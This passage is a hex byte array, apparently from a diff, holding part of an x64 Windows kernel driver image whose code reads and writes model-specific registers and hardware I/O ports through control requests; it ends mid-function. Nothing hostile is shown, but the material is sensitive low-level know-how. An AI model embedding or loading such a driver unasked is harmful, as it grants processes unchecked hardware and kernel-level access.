0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, - 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, - 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, - 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, - 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, - 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, - 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, - 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, - 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, - 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, - 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, - 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, - 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, - 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, - 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, - 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, - 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, - 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, - 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, - 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, - 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, - 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, - 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, - 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, - 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, - 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, - 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, - 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, - 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, - 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, - 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, - 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, - 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, - 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, - 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, - 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, - 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, - 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, - 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, - 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, - 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, - 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, - 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, - 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, - 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, - 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, - 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, - 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, - 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, - 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, - 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, - 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, - 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, - 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, - 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, - 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, - 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, - 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, - 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, - 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, - 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, - 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, - 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, - 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, - 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, - 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, - 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, - 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, - 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, - 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, - 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, - 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, - 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, - 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, - 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, - 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, - 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, - 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, - 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, - 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, - 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, - 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, - 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, - 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, - 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, - 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, - 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, - 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, - 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, - 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, - 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, - 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, - 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, - 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, - 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, - 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, - 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, - 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, - 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, - 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, - 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, - 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, - 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, - 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, - 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, - 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, - 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, - 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, - 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, - 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, - 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, - 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, - 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, - 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, - 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, - 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, - 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, - 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, - 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, - 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, - 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, - 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, - 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 